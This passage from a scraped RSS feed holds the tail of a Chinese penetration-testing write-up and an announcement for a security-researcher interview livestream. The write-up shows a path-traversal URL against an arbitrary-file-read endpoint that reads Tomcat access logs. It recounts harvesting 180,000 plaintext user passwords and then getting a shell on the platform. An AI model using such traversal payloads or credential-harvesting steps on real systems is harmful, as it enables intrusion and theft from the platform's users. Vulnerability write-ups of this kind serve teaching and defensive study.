rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/root/.bash_history</span></code><span leaf=""> 文件中，发现Tomcat的绝对路径，同样在 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/home/*****admin/.bash_history</span></code><span leaf=""> 也找到类似的目录</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">于是对tomcat的敏感路径进行读取，发现Tomcat日志路径，链接如下：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">https:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(87, 166, 74);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-style: italic;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">//xxxxxxxx.cn/system/common/getPic?path=/../../../../../../../../../../../../usr/local/apache-tomcat-8.5.50/logs/localhost_access_log.2023-10-25.txt</span></span></code></pre><section><span leaf=""><br/></span></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002015" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4925925925925926" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=bbeff015&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrKWR2tz1MvPic1souwV9Qkwh41RNBwibVB8T2D1wolvah0gPMvKvLjv9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在Tomcat的日志文件中，可以清晰的看到平台登录的传参！！！在核心平台登录过程中，居然使用Get进行登录明文传输，而不是Post进行加密传输！<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=a44bf2d2&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2FShocked.png"/></span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过编写Python脚本利用该任意文件读取漏洞，可以批量下载日志文件：</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002016" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8335451080050826" data-s="300,640" data-type="png" data-w="787" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e29a0c19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrEIdpNJB3e8Bbib4T9XnjQ0CaBm42cfC7bKLR2uGHC7shdRT0VWiapuCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">再通过编写Python脚本对下载的TXT进行正则匹配和输出，最终得到18万行的核心平台用户的账户和明文密码，后续通过登录平台找到其他漏洞成功GetShell！</span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5# 总结</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">今天我就是来抛砖引玉，详细的讲解了任意文件读取漏洞的攻击利用链，任意文件读取漏洞一直是我们日常所忽视的漏洞，大部分情况下它可能是鸡肋的，但有时候就能作为神助攻，成功祝你GetShell！<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=84469114&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2FExpression%2FExpression_43%402x.png"/></span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">如果师傅们还有一些骚姿势，可以在评论区秀出来，也可以和我友好交流哈哈~</span></p><hr style="box-sizing: border-box;margin: 1.5rem 0px;padding: 0px;border-top: 1px dashed rgb(165, 165, 165);border-right: none;border-left: none;border-image: initial;border-bottom: none;height: 1px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 15px 15px 15px 1rem;color: rgb(129, 145, 152);font-weight: 400;border-left: 6px solid rgb(220, 230, 240);font-size: 0.9em;line-height: inherit;display: block;background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">我是曾哥，我在渊龙Sec安全团队等你</span><span leaf=""><br/></span><span leaf="">微信公众号：渊龙Sec安全团队</span><span leaf=""><br/></span><span leaf="">欢迎关注我，一起学习，一起进步~</span><span leaf=""><br/></span><span leaf="">本篇文章为团队成员原创文章，请不要擅自盗取！</span></p></blockquote><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000063" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="430" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4c67e7ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfiajytAx7IbfPkMjLIyRLkDoUuREpP4SwzqNe9WfraEfyrUE4wZYFicQ6dUicmnWgycGicCiasp6jYC7OzDsicx8GmqA%2F640%3Fwx_fmt%3Dpng"/></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485667">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e38dde4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485667%26idx%3D1%26sn%3Dd395cb01aed4ebde31e39e2563eb0423%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 03 Apr 2025 21:11:00 +0800</pubDate>
    </item>
    <item>
      <title>白帽黑客访谈：第二期嘉宾揭幕</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485652&amp;idx=1&amp;sn=229f7b67b5b7a753585d83223d557ac6</link>
      <description>白帽大佬访谈，感兴趣的师傅们周四晚上20:00不见不散~</description>
      <content:encoded><![CDATA[<p>
<span>地图大师挖漏洞</span> <span>2025-02-25 11:17</span> <span style="display: inline-block;">广东</span>
</p>

<p>白帽大佬访谈，感兴趣的师傅们周四晚上20:00不见不散~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1956ea7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FGHet7yDwHiaNH3Jy2oMHXrMYS50hn6CicqW2qNicH8qLxxG3lml5dAVY33zsCg4SMJEPVHj8sd8hjvMHUs0CJM0vA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;margin-bottom: 24px;"><section data-tools="135编辑器" data-id="139558" style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin: 10px auto;outline: 0px;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin: 10px auto -12px;outline: 0px;display: flex;justify-content: center;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;padding-right: 6px;padding-left: 6px;outline: 0px;display: flex;align-items: center;justify-content: center;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;flex-shrink: 0;visibility: visible;"><section style="background-color: rgb(255, 255, 255);-webkit-tap-highlight-color: transparent;margin: 10px auto;padding-top: 10px;outline: 0px;letter-spacing: 0.544px;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;background-image: linear-gradient(to right, rgb(249, 233, 201), rgb(255, 244, 229));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: flex;justify-content: space-between;align-items: center;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin-top: -18px;outline: 0px;flex-shrink: 0;overflow: hidden;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;padding: 3px 10px 3px 15px;outline: 0px;background-color: rgb(207, 45, 24);transform: skew(-15deg) translateX(-7px);visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;letter-spacing: 1.5px;color: rgb(255, 255, 255);transform: skew(15deg);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"><span leaf="">01</span></strong><strong data-original-title="" title="" data-num="2" style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"></strong></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">嘉宾介绍</span></span></section></section><section style="-webkit-tap-highlight-color: transparent;margin-top: -5px;outline: 0px;flex-shrink: 0;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;width: 55px;visibility: visible;" nodeleaf=""><img data-imgfileid="100000783" class="rich_pages wxw-img __bg_gif" data-ratio="1.0443458980044347" data-type="jpeg" data-w="451" style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;display: block;width: 39px;visibility: visible !important;height: 41px;" data-width="100%" data-cropselx1="0" data-cropselx2="38" data-cropsely1="0" data-cropsely2="41" src="https://wechat2rss.xlab.app/img-proxy/?k=8ca4ddf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FGHet7yDwHiaNgjJhq0X1MBVREAiag5XFqcS6aZGzBicpUo3SMP8eSYIInn5j2sLCkHPG6qbAepasiakJ6XTpnq5pEA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section></section></section><p><span leaf="">    </span></p><p data-start="23" data-end="116"><span leaf="">📌 </span><strong data-start="26" data-end="61"><span leaf="">你是否曾经思考过，安全工具是如何从无到有？</span></strong><span leaf=""><br/></span><span leaf="">📌 </span><strong data-start="67" data-end="114"><span leaf="">你是否好奇，一名安全团队创始人如何带领团队攻克难题，在网络安全领域开辟属于自己的天地？</span></strong></p><p data-start="118" data-end="151"><span leaf="">在第二期白帽黑客访谈中，我们请到了重量级嘉宾——</span><strong data-start="142" data-end="148"><span leaf="">曾哥</span></strong><span leaf="">！</span></p><p data-start="153" data-end="250"><span leaf="">他不仅是知名安全团队的创始人，还开发了多个广为流传的安全工具，影响了无数安全研究员的工作方式。💡 从工具开发到团队管理，从技术创新到行业洞察，曾哥的经验和思考，值得每一位安全人细细品味。</span></p><p data-start="252" data-end="343"><span leaf="">🚀 </span><strong data-start="255" data-end="281"><span leaf="">他如何从0开始，打造出被行业认可的安全工具？</span></strong><span leaf=""><br/></span><span leaf="">🚀 </span><strong data-start="287" data-end="313"><span leaf="">他如何带领团队，在复杂的网络安全环境中立足？</span></strong><span leaf=""><br/></span><span leaf="">🚀 </span><strong data-start="319" data-end="341"><span leaf="">他对未来安全行业的发展有何独到见解？</span></strong></p><p data-start="345" data-end="366"><span leaf="">这些问题，都将在这期节目中揭晓！🎙️</span></p></section><p><span leaf=""><br/></span></p></section></section></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding-top: 10px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;background-image: linear-gradient(to right, rgb(249, 233, 201), rgb(255, 244, 229));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: flex;justify-content: space-between;align-items: center;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin-top: -18px;outline: 0px;flex-shrink: 0;overflow: hidden;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;padding: 3px 10px 3px 15px;outline: 0px;background-color: rgb(207, 45, 24);transform: skew(-15deg) translateX(-7px);visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;letter-spacing: 1.5px;color: rgb(255, 255, 255);transform: skew(15deg);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"><span leaf="">02</span></strong><strong data-original-title="" title="" data-num="2" style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"></strong></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">直播时间</span></span></section></section><section style="-webkit-tap-highlight-color: transparent;margin-top: -5px;outline: 0px;flex-shrink: 0;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;width: 55px;visibility: visible;" nodeleaf=""><img data-imgfileid="100000784" class="rich_pages wxw-img __bg_gif" data-ratio="1.0443458980044347" data-type="jpeg" data-w="451" style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;display: block;width: 39px;visibility: visible !important;height: 41px;" data-width="100%" data-cropselx1="0" data-cropselx2="38" data-cropsely1="0" data-cropsely2="41" src="https://wechat2rss.xlab.app/img-proxy/?k=8ca4ddf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FGHet7yDwHiaNgjJhq0X1MBVREAiag5XFqcS6aZGzBicpUo3SMP8eSYIInn5j2sLCkHPG6qbAepasiakJ6XTpnq5pEA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section></section></section></section><section data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin-bottom: 0px;outline: 0px;text-wrap: wrap;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1.5px;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(51, 51, 51);visibility: visible;text-align: center;"><span leaf="">     </span></p><section data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin-bottom: 0px;outline: 0px;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1.5px;visibility: visible;"><section data-autoskip="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;line-height: 1.75em;visibility: visible;"><p data-start="368" data-end="447"><span leaf="">⏳ </span><strong data-start="370" data-end="388"><span leaf="">直播时间：暂定本周四 20:00</span></strong><span leaf=""><br/></span><span leaf="">📍 </span><strong data-start="394" data-end="413"><span leaf="">B站：地图大师returnwrong直播间</span></strong><span leaf=""><br/></span><span leaf="">📍 <span textstyle="" style="font-weight: bold;">微信</span></span><strong data-start="419" data-end="445"><span leaf="">视频号：Freebuf视频号、知识大陆视频号</span></strong></p><p data-start="449" data-end="531"><span leaf="">🔥 </span><strong data-start="452" data-end="487"><span leaf="">如果你对安全工具开发、团队管理、行业趋势感兴趣，千万不要错过！</span></strong><span leaf=""><br/></span><span leaf="">📣 </span><strong data-start="493" data-end="529"><span leaf="">欢迎留言你最想问曾哥的问题，我们将在访谈中挑选精彩问题进行解答！</span></strong></p><p data-start="533" data-end="567" data-is-last-node="" data-is-only-node=""><span leaf="">📢 </span><strong data-start="536" data-end="567" data-is-last-node=""><span leaf="">让我们一起，把那些值得被听见的声音，带回到这个世界上！</span></strong></p><p data-start="533" data-end="567" data-is-last-node="" data-is-only-node=""><strong data-start="536" data-end="567" data-is-last-node=""><span leaf=""><br/></span></strong></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100001226" class="rich_pages wxw-img" data-ratio="1.0128" data-s="300,640" data-type="png" data-w="625" style="width:315px;height:319px;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=14364485&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FGHet7yDwHiaNH3Jy2oMHXrMYS50hn6CicqunLibu7UywInUFShxxDhlDxlj25hcSNqswH7BIZtb4hjpCd3k5bmckA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p data-start="500" data-end="521"><span leaf=""><br/></span></p><p><strong><span leaf=""><br/></span></strong></p><section style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding-top: 10px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;background-image: linear-gradient(to right, rgb(249, 233, 201), rgb(255, 244, 229));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: flex;justify-content: space-between;align-items: center;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;margin-top: -18px;outline: 0px;flex-shrink: 0;overflow: hidden;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;padding: 3px 10px 3px 15px;outline: 0px;background-color: rgb(207, 45, 24);transform: skew(-15deg) translateX(-7px);visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;letter-spacing: 1.5px;color: rgb(255, 255, 255);transform: skew(15deg);visibility: visible;"><strong><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"><span leaf="">02</span></strong><strong data-original-title="" title="" data-num="2" style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"></strong></strong></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><strong><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">公开群</span></span></strong></section></section><section style="-webkit-tap-highlight-color: transparent;margin-top: -5px;outline: 0px;flex-shrink: 0;visibility: visible;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;width: 55px;visibility: visible;" nodeleaf=""><img data-imgfileid="100000784" class="rich_pages wxw-img __bg_gif" data-ratio="1.0443458980044347" data-type="jpeg" data-w="451" style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;display: block;width: 39px;visibility: visible !important;height: 41px;" data-width="100%" data-cropselx1="0" data-cropselx2="38" data-cropsely1="0" data-cropsely2="41" 